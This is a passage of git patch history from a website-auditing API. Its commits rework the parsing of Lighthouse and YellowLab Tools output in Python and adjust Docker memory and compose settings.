0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'lighthouse ran into a problem',} - return error - - stdout_json = json.loads(stdout_value) - - # initial audits object - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best-practices": [], - "lighthouse-plugin-crux": [], - "pwa": [] - } - - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["categories"].get(cat).get("auditRefs") - if cat_audits is not None: - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) - # changing audits names - audits['best_practices'] = audits.pop('best-practices') - audits['crux'] = audits.pop('lighthouse-plugin-crux') + # if 'Runtime error encountered' in stdout_string: + # error = {'error': 'lighthouse ran into a problem',} + # return error + + # stdout_json = json.loads(stdout_value) + + # # initial audits object + # audits = { + # "seo": [], + # "accessibility": [], + # "performance": [], + # "best-practices": [], + # "lighthouse-plugin-crux": [], + # "pwa": [] + # } + + # # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + # for cat in audits: + # cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + # if cat_audits is not None: + # for a in cat_audits: + # if int(a["weight"]) > 0: + # audit = stdout_json["audits"][a["id"]] + # audits[cat].append(audit) + # # changing audits names + # audits['best_practices'] = audits.pop('best-practices') + # audits['crux'] = audits.pop('lighthouse-plugin-crux') - # get scores from each category - seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - - if crux_score == 0 : - crux_score = None - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score - )/ 5) - else: - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score + crux_score - )/ 6) - - scores = { - "seo": seo_score, - "accessibility": accessibility_score, - "performance": performance_score, - "best_practices": best_practices_score, - "pwa": pwa_score, - "crux": crux_score, - "average": average_score - } + # # get scores from each category + # seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + # accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + # performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + # best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + # pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + # crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + + # if crux_score == 0 : + # crux_score = None + # average_score = round(( + # seo_score + accessibility_score + performance_score + # + best_practices_score + pwa_score + # )/ 5) + # else: + # average_score = round(( + # seo_score + accessibility_score + performance_score + # + best_practices_score + pwa_score + crux_score + # )/ 6) + + # scores = { + # "seo": seo_score, + # "accessibility": accessibility_score, + # "performance": performance_score, + # "best_practices": best_practices_score, + # "pwa": pwa_score, + # "crux": crux_score, + # "average": average_score + # } data = { - "scores": scores, - "audits": audits, + "scores": 'scores', + "audits": stdout_string, "failed": False } From 0008bc89cdda3a3445696ec15873ab70ca292f7e Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 24 Jan 2023 20:53:58 -0600 Subject: [PATCH 155/277] updates --- README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/README.md b/README.md index 9b398df7..c1061060 100644 --- a/README.md +++ b/README.md @@ -16,7 +16,6 @@ Copyright © Scanerr 2023   #### Env's and deployment - - [Scanerr Server (API repo)](#scanerr-server-api-repo) - [Table of Contents](#table-of-contents) - [Env's and deployment](#envs-and-deployment) From f762b5c0bb399e6fd92864753e2aa5da32d327fa Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 13:06:59 -0600 Subject: [PATCH 156/277] testing --- app/api/utils/lighthouse.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 7b516184..40f6cdf6 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -40,8 +40,8 @@ def get_data(self): # try: stdout_value = self.init_audit() stdout_string = str(stdout_value) - delm = '{\\n "lighthouseVersion"' - stdout_string = delm + stdout_string.split(delm)[1] + # delm = '{\\n "lighthouseVersion"' + # stdout_string = delm + stdout_string.split(delm)[1] if len(stdout_string) != 0: From 5d20cd231979f1f913b348071a0535b5da98b068 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 13:39:41 -0600 Subject: [PATCH 157/277] testing --- app/api/utils/lighthouse.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 40f6cdf6..0873e885 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -39,7 +39,8 @@ def get_data(self): # try: stdout_value = self.init_audit() - stdout_string = str(stdout_value) + stdout_string = stdout_value + stdout_json = json.loads(stdout_value) # delm = '{\\n "lighthouseVersion"' # stdout_string = delm + stdout_string.split(delm)[1] From db4d90741969e9dd77a26c7103c9d6df403cbad7 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 13:43:01 -0600 Subject: [PATCH 158/277] testing --- app/api/utils/lighthouse.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 0873e885..45c23409 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -39,8 +39,8 @@ def get_data(self): # try: stdout_value = self.init_audit() - stdout_string = stdout_value - stdout_json = json.loads(stdout_value) + stdout_string = dict(stdout_value) + stdout_json = json.loads(stdout_string) # delm = '{\\n "lighthouseVersion"' # stdout_string = delm + stdout_string.split(delm)[1] From df15841bced0c78880396ed928c03dc61deca6bd Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 13:46:24 -0600 Subject: [PATCH 159/277] testing --- app/api/utils/lighthouse.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 45c23409..c64b3d37 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -39,7 +39,7 @@ def get_data(self): # try: stdout_value = self.init_audit() - stdout_string = dict(stdout_value) + stdout_string = str(stdout_value) stdout_json = json.loads(stdout_string) # delm = '{\\n "lighthouseVersion"' # stdout_string = delm + stdout_string.split(delm)[1] From f1a9fea4032699dae81d81b91e32954618a1d787 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 13:52:14 -0600 Subject: [PATCH 160/277] testing --- app/api/utils/lighthouse.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index c64b3d37..871f65cf 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -40,17 +40,17 @@ def get_data(self): # try: stdout_value = self.init_audit() stdout_string = str(stdout_value) - stdout_json = json.loads(stdout_string) # delm = '{\\n "lighthouseVersion"' # stdout_string = delm + stdout_string.split(delm)[1] if len(stdout_string) != 0: - # if 'Runtime error encountered' in stdout_string: - # error = {'error': 'lighthouse ran into a problem',} - # return error + if 'Runtime error encountered' in stdout_string: + error = {'error': 'lighthouse ran into a problem',} + return error - # stdout_json = json.loads(stdout_value) + print(f'stdout_value is type => {type(stdout_value)}') + stdout_json = json.loads(stdout_value) # # initial audits object # audits = { From 129b9bba5bb3cfb99bea29600d097dc40495c6bd Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 14:00:15 -0600 Subject: [PATCH 161/277] testing --- app/api/utils/lighthouse.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 871f65cf..6bdc6a83 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -40,8 +40,9 @@ def get_data(self): # try: stdout_value = self.init_audit() stdout_string = str(stdout_value) - # delm = '{\\n "lighthouseVersion"' - # stdout_string = delm + stdout_string.split(delm)[1] + delm = '{\\n "lighthouseVersion"' + stdout_string = delm + stdout_string.split(delm)[1] + stdout_value = bytes(stdout_string, 'utf-8') if len(stdout_string) != 0: @@ -49,7 +50,7 @@ def get_data(self): error = {'error': 'lighthouse ran into a problem',} return error - print(f'stdout_value is type => {type(stdout_value)}') + # print(f'stdout_value is type => {type(stdout_value)}') stdout_json = json.loads(stdout_value) # # initial audits object From 1e38f2aed763a3f2b9f167225ad33e699dc09323 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 19:06:50 -0600 Subject: [PATCH 162/277] testing --- app/api/utils/lighthouse.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 6bdc6a83..5a30063b 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -39,10 +39,12 @@ def get_data(self): # try: stdout_value = self.init_audit() - stdout_string = str(stdout_value) - delm = '{\\n "lighthouseVersion"' - stdout_string = delm + stdout_string.split(delm)[1] - stdout_value = bytes(stdout_string, 'utf-8') + stdout_string = stdout_value.decode('iso-8859-1') + + + # delm = '{\\n "lighthouseVersion"' + # stdout_string = delm + stdout_string.split(delm)[1] + # stdout_value = bytes(stdout_string, 'utf-8') if len(stdout_string) != 0: @@ -51,7 +53,7 @@ def get_data(self): return error # print(f'stdout_value is type => {type(stdout_value)}') - stdout_json = json.loads(stdout_value) + # stdout_json = json.loads(stdout_value) # # initial audits object # audits = { From 12d54e6d814d7b1ae846b34e83448d52e21dae75 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 19:16:20 -0600 Subject: [PATCH 163/277] testing --- app/api/utils/lighthouse.py | 118 ++++++++++++++++++------------------ 1 file changed, 60 insertions(+), 58 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 5a30063b..bd884a33 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -39,12 +39,15 @@ def get_data(self): # try: stdout_value = self.init_audit() + # decode bytes into string stdout_string = stdout_value.decode('iso-8859-1') + # clean string of any errors + delm = '{\\n "lighthouseVersion"' + stdout_string = delm + stdout_string.split(delm)[1] - # delm = '{\\n "lighthouseVersion"' - # stdout_string = delm + stdout_string.split(delm)[1] - # stdout_value = bytes(stdout_string, 'utf-8') + # encode back to bytes + stdout_value = stdout_string.encode('iso-8859-1') if len(stdout_string) != 0: @@ -52,65 +55,64 @@ def get_data(self): error = {'error': 'lighthouse ran into a problem',} return error - # print(f'stdout_value is type => {type(stdout_value)}') - # stdout_json = json.loads(stdout_value) - - # # initial audits object - # audits = { - # "seo": [], - # "accessibility": [], - # "performance": [], - # "best-practices": [], - # "lighthouse-plugin-crux": [], - # "pwa": [] - # } - - # # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - # for cat in audits: - # cat_audits = stdout_json["categories"].get(cat).get("auditRefs") - # if cat_audits is not None: - # for a in cat_audits: - # if int(a["weight"]) > 0: - # audit = stdout_json["audits"][a["id"]] - # audits[cat].append(audit) - # # changing audits names - # audits['best_practices'] = audits.pop('best-practices') - # audits['crux'] = audits.pop('lighthouse-plugin-crux') + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] + } + + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + if cat_audits is not None: + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + audits[cat].append(audit) + # changing audits names + audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') - # # get scores from each category - # seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - # accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - # performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - # best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - # pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - # crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - - # if crux_score == 0 : - # crux_score = None - # average_score = round(( - # seo_score + accessibility_score + performance_score - # + best_practices_score + pwa_score - # )/ 5) - # else: - # average_score = round(( - # seo_score + accessibility_score + performance_score - # + best_practices_score + pwa_score + crux_score - # )/ 6) - - # scores = { - # "seo": seo_score, - # "accessibility": accessibility_score, - # "performance": performance_score, - # "best_practices": best_practices_score, - # "pwa": pwa_score, - # "crux": crux_score, - # "average": average_score - # } + # get scores from each category + seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) + + scores = { + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score + } data = { - "scores": 'scores', - "audits": stdout_string, + "scores": scores, + "audits": audits, "failed": False } From b01f98955ae7f14c4256c48fb14b2448fc89aa95 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 19:18:04 -0600 Subject: [PATCH 164/277] testing --- app/api/utils/lighthouse.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index bd884a33..436142c8 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -43,7 +43,7 @@ def get_data(self): stdout_string = stdout_value.decode('iso-8859-1') # clean string of any errors - delm = '{\\n "lighthouseVersion"' + delm = '{\n "lighthouseVersion"' stdout_string = delm + stdout_string.split(delm)[1] # encode back to bytes From 26adb531e49077ea4bb613418a01379708be507e Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 19:20:50 -0600 Subject: [PATCH 165/277] testing new LH methods --- app/api/utils/scanner.py | 1 - app/api/v1/ops/services.py | 8 -------- 2 files changed, 9 deletions(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 2cf6d0f2..13424f82 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -413,7 +413,6 @@ def _lighthouse(scan_id): # updating Scan object scan = Scan.objects.get(id=scan_id) scan.lighthouse = lh_data - scan.html = lh_data # TODO --> remove this, just testing scan.save() # checking if scan is done diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 1c0f6aff..d90356e7 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -650,14 +650,6 @@ def create_scan(request, delay=False): if delay == True: - # create_scan_bg.delay( - # scan_id=created_scan.id, - # configs=configs, - # type=types, - # ) - - print(f'types ==> {str(types)}') - # running scans in selenium mode if 'html' in types or 'logs' in types or 'full' in types: print('running html & logs') From 5f2eafcf6c29a5ad6a44b7ee1dc3a5539d7da476 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 19:29:38 -0600 Subject: [PATCH 166/277] testing yellowlab issues --- app/api/utils/scanner.py | 1 + app/api/utils/yellowlab.py | 207 ++++++++++++++++++------------------- 2 files changed, 104 insertions(+), 104 deletions(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 13424f82..09706238 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -440,6 +440,7 @@ def _yellowlab(scan_id): # updating Scan object scan = Scan.objects.get(id=scan_id) scan.yellowlab = yl_data + scan.html = yl_data scan.save() # checking if scan is done diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py index 527ddfb2..51ad7073 100644 --- a/app/api/utils/yellowlab.py +++ b/app/api/utils/yellowlab.py @@ -27,114 +27,113 @@ def init_audit(self): def get_data(self): - try: - stdout_value = self.init_audit() - stdout_string = str(stdout_value) - # print(f'YL string output => {stdout_string}') + # try: + stdout_value = self.init_audit() + # decode bytes into string + stdout_string = stdout_value.decode('iso-8859-1') + # print(f'YL string output => {stdout_string}') - - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'yellowlab ran into a problem',} - return error - - stdout_json = json.loads(stdout_value) - # print(f'YL json output => {stdout_json}') - - - # initial audits object - audits = { - "pageWeight": [], - "requests": [], - "domComplexity": [], - "javascriptComplexity": [], - "badJavascript": [], - "jQuery": [], - "cssComplexity": [], - "badCSS": [], - "fonts": [], - "serverConfig": [], - } - - # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"] - for a in cat_audits: - try: - audit = stdout_json["rules"][a] - audits[cat].append(audit) - except: - pass - - - # get scores from each category - globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"] - pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"] - requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"] - domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"] - javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"] - badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"] - jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"] - cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"] - badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"] - fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"] - serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"] - - scores = { - "globalScore": globalScore, - "pageWeight": pageWeight_score, - "requests": requests_score, - "domComplexity": domComplexity_score, - "javascriptComplexity": javascriptComplexity_score, - "badJavascript": badJavascript_score, - "jQuery": jQuery_score, - "cssComplexity": cssComplexity_score, - "badCSS": badCSS_score, - "fonts": fonts_score, - "serverConfig": serverConfig_score, - } - - data = { - "scores": scores, - "audits": audits, - "failed": False - } - - except Exception as e: - print(e) - - scores = { - "globalScore": None, - "pageWeight": None, - "requests": None, - "domComplexity": None, - "javascriptComplexity": None, - "badJavascript": None, - "jQuery": None, - "cssComplexity": None, - "badCSS": None, - "fonts": None, - "serverConfig": None, - } - - audits = { - "pageWeight": [], - "requests": [], - "domComplexity": [], - "javascriptComplexity": [], - "badJavascript": [], - "jQuery": [], - "cssComplexity": [], - "badCSS": [], - "fonts": [], - "serverConfig": [], - } + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'yellowlab ran into a problem',} + return error + + # stdout_json = json.loads(stdout_value) + + # # initial audits object + # audits = { + # "pageWeight": [], + # "requests": [], + # "domComplexity": [], + # "javascriptComplexity": [], + # "badJavascript": [], + # "jQuery": [], + # "cssComplexity": [], + # "badCSS": [], + # "fonts": [], + # "serverConfig": [], + # } + + # # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj + # for cat in audits: + # cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"] + # for a in cat_audits: + # try: + # audit = stdout_json["rules"][a] + # audits[cat].append(audit) + # except: + # pass + + + # # get scores from each category + # globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"] + # pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"] + # requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"] + # domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"] + # javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"] + # badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"] + # jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"] + # cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"] + # badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"] + # fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"] + # serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"] + + # scores = { + # "globalScore": globalScore, + # "pageWeight": pageWeight_score, + # "requests": requests_score, + # "domComplexity": domComplexity_score, + # "javascriptComplexity": javascriptComplexity_score, + # "badJavascript": badJavascript_score, + # "jQuery": jQuery_score, + # "cssComplexity": cssComplexity_score, + # "badCSS": badCSS_score, + # "fonts": fonts_score, + # "serverConfig": serverConfig_score, + # } data = { - "scores": scores, - "audits": audits, - "failed": True + "scores": 'scores', + "audits": stdout_string, + "failed": False } + + # except Exception as e: + # print(e) + + # scores = { + # "globalScore": None, + # "pageWeight": None, + # "requests": None, + # "domComplexity": None, + # "javascriptComplexity": None, + # "badJavascript": None, + # "jQuery": None, + # "cssComplexity": None, + # "badCSS": None, + # "fonts": None, + # "serverConfig": None, + # } + + # audits = { + # "pageWeight": [], + # "requests": [], + # "domComplexity": [], + # "javascriptComplexity": [], + # "badJavascript": [], + # "jQuery": [], + # "cssComplexity": [], + # "badCSS": [], + # "fonts": [], + # "serverConfig": [], + # } + + # data = { + # "scores": scores, + # "audits": audits, + # "failed": True + # } return data From 8b4574c4b15310d3b3b34f0c01c4518ba36eb3b2 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 19:31:10 -0600 Subject: [PATCH 167/277] testing --- app/api/utils/scanner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 09706238..8b159be8 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -440,7 +440,7 @@ def _yellowlab(scan_id): # updating Scan object scan = Scan.objects.get(id=scan_id) scan.yellowlab = yl_data - scan.html = yl_data + scan.html = yl_data # TODO --> remove this after testing scan.save() # checking if scan is done From b7c1f8461d9bdae998bb62561e579a3d4ba144a6 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 19:36:23 -0600 Subject: [PATCH 168/277] testing --- app/api/utils/yellowlab.py | 26 ++++++++++++++++---------- 1 file changed, 16 insertions(+), 10 deletions(-) diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py index 51ad7073..f9b7154a 100644 --- a/app/api/utils/yellowlab.py +++ b/app/api/utils/yellowlab.py @@ -31,13 +31,19 @@ def get_data(self): stdout_value = self.init_audit() # decode bytes into string stdout_string = stdout_value.decode('iso-8859-1') - # print(f'YL string output => {stdout_string}') + + # # clean string of any errors + # delm = '{\n "lighthouseVersion"' + # stdout_string = delm + stdout_string.split(delm)[1] + + # # encode back to bytes + # stdout_value = stdout_string.encode('iso-8859-1') - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'yellowlab ran into a problem',} - return error + # if len(stdout_string) != 0: + # if 'Runtime error encountered' in stdout_string: + # error = {'error': 'yellowlab ran into a problem',} + # return error # stdout_json = json.loads(stdout_value) @@ -93,11 +99,11 @@ def get_data(self): # "serverConfig": serverConfig_score, # } - data = { - "scores": 'scores', - "audits": stdout_string, - "failed": False - } + data = { + "scores": 'scores', + "audits": stdout_string, + "failed": False + } # except Exception as e: # print(e) From 70ea983d4ec48157c7d1863ddd71ba6667d334ef Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 19:38:33 -0600 Subject: [PATCH 169/277] added db as celery deps --- docker-compose.dev.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index aa3f0fd3..ff835eca 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -50,6 +50,7 @@ services: depends_on: - redis - app + - db nginx-proxy: From c0beabbf182bd65abd28268dac5ebb738fb4d116 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 20:01:55 -0600 Subject: [PATCH 170/277] increasing memory allowance for node --- Dockerfile | 2 +- Dockerfile.prod | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index ae7fdda7..80d05a4e 100644 --- a/Dockerfile +++ b/Dockerfile @@ -17,7 +17,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ && npm install -g n && n lts # increasing allocated memory to node -RUN export NODE_OPTIONS="--max-old-space-size=2048" +RUN export NODE_OPTIONS="--max-old-space-size=8192" # installing lighthouse & yellowlabtools RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools diff --git a/Dockerfile.prod b/Dockerfile.prod index ae7fdda7..80d05a4e 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -17,7 +17,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ && npm install -g n && n lts # increasing allocated memory to node -RUN export NODE_OPTIONS="--max-old-space-size=2048" +RUN export NODE_OPTIONS="--max-old-space-size=8192" # installing lighthouse & yellowlabtools RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools From f0b8f0e5ffbf386ef75624cacb90c5586e00c434 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 20:04:56 -0600 Subject: [PATCH 171/277] testing memory increase --- Dockerfile | 2 +- Dockerfile.prod | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index 80d05a4e..c1f55754 100644 --- a/Dockerfile +++ b/Dockerfile @@ -17,7 +17,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ && npm install -g n && n lts # increasing allocated memory to node -RUN export NODE_OPTIONS="--max-old-space-size=8192" +RUN export NODE_OPTIONS="--max-old-space-size=4096" # installing lighthouse & yellowlabtools RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools diff --git a/Dockerfile.prod b/Dockerfile.prod index 80d05a4e..c1f55754 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -17,7 +17,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ && npm install -g n && n lts # increasing allocated memory to node -RUN export NODE_OPTIONS="--max-old-space-size=8192" +RUN export NODE_OPTIONS="--max-old-space-size=4096" # installing lighthouse & yellowlabtools RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools From c07f32e7b4b7e2303510ab3e3288b99f3e5c2b09 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 20:36:43 -0600 Subject: [PATCH 172/277] updated for new docker compose --- commands | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/commands b/commands index f95330a8..4a7c763d 100644 --- a/commands +++ b/commands @@ -15,8 +15,8 @@ docker-compose -f docker-compose.prod.yml down ### spins up the container for development ### -docker-compose -f docker-compose.dev.yml up -d --build +docker compose -f docker-compose.dev.yml up -d --build ### spins down the container ### -docker-compose -f docker-compose.dev.yml down +docker compose -f docker-compose.dev.yml down From 2fa7c06a40a5e32023aed2847d28c68210f7bf8c Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 20:51:24 -0600 Subject: [PATCH 173/277] testing memory increase --- Dockerfile.prod | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile.prod b/Dockerfile.prod index c1f55754..79d79930 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -17,7 +17,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ && npm install -g n && n lts # increasing allocated memory to node -RUN export NODE_OPTIONS="--max-old-space-size=4096" +RUN export NODE_OPTIONS="--max-old-space-size=7000" # installing lighthouse & yellowlabtools RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools From 4ce343ced984e0aedb1c2dd5d1f8547a6e197e5c Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 25 Jan 2023 21:06:28 -0600 Subject: [PATCH 174/277] fixing lighthouse issues --- app/api/utils/lighthouse.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 436142c8..1ca9cbf4 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -85,7 +85,12 @@ def get_data(self): performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + + # attempting crux + try: + crux_score = 